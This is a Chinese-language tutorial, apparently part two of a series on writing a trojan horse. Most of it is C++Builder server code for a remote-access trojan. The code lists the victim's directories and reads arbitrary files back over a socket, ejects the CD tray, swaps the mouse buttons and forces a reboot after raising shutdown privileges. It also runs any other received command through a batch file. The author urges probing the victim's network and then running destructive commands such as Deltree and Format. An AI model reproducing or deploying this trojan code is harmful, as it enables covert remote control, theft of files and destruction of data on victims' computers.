木马是如何编写的(二)
武汉 周侃
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)=="dir") { file://如果前3个字符是“dir” int Read_Num; char * CR_LF="\n"; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name=="") { file://如果目录名为空 Socket->SendText("Fail By Open DIR's Name"); file://返回“Fail By Open DIR's Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { file://如果打开目录出错 Socket->SendText("Fail by your DIR's name!"); file://返回“Fail By Your DIR's Name”信息 goto END; file://跳到END } times_of_try=0; while(fp==NULL) { file://如果指针是NULL fp=fopen(TempFile,"w+"); file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText("Fail By Open File"); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } while ((ent = readdir(dir)) != NULL) { file://如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!='\\') file://如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str(); file://加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); file://如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); file://得到目标文件的访问属性 if (attrib & FA_RDONLY) file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite(" R",sizeof(char),3,fp); file://将目标文件属性设为只读 else fwrite(" ",sizeof(char),3,fp); file://失败则写入空格 if (attrib & FA_HIDDEN) fwrite("H",sizeof(char),1,fp); file://将目标文件属性设为隐藏 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_SYSTEM) fwrite("S",sizeof(char),1,fp); file://将目标文件属性设为系统 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_ARCH) fwrite("A",sizeof(char),1,fp); file://将目标文件属性设为普通 else fwrite(" ",sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_DIREC) fwrite(" <DIR> ",sizeof(char),9,fp); file://将目标文件属性设为目录 else fwrite(" ",sizeof(char),9,fp); file://失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir); file://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,"r"); file://打开Win369.bat准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功 Socket->SendText("Fail By Open File"); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; file://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp1); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 fclose(fp1); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text变量的内容 } }
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): { else if(temp.SubString(0,4)=="type") { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),"r"); file://打开目标文件准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已试了100次了 Socket->SendText("Fail By Open File"); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]='\0'; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content[i]='\0'; Read_Num=fread(temp_content,1,300,fp); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 fclose(fp); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text的内容,即你查看文件的内容 } }
咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中): { else if(temp=="open") { file://如果收到的temp的内容是“open” mciSendString("set cdaudio door open", NULL, 0, NULL); file://就弹出光驱的托盘 } else if(temp=="close") { file://如果收到的temp的内容是“close” mciSendString("Set cdaudio door closed wait", NULL, 0, NULL); file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } }
接着就是交换目标机的鼠标左右键,代码如下: { else if(temp=="swap") { SwapMouseButton(1); file://交换鼠标左右键,简单吧? } }
然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: { else if(temp=="reboot") { file://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file://得到操作系统的版本号 if (dwVersion < 0x80000000) { file://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 file://GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); file://强行退出WinNt并重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file://强行退出Win9x并重启 } }
如果以上都不是,就让它在Dos窗口中执行传来的命令: { else { file://如果都不是 char * CR_TF="\n"; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,"w+"); file://创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { Socket->SendText("Fail By Open File"); file://返回“Fail By Open File”的信息 goto END; file://跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file://写入换行符 fclose(fp); file://关闭Win369.bat system(TempFile); file://执行Win369.bat Socket->SendText("Success"); file://返回“Success”信息 } }
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

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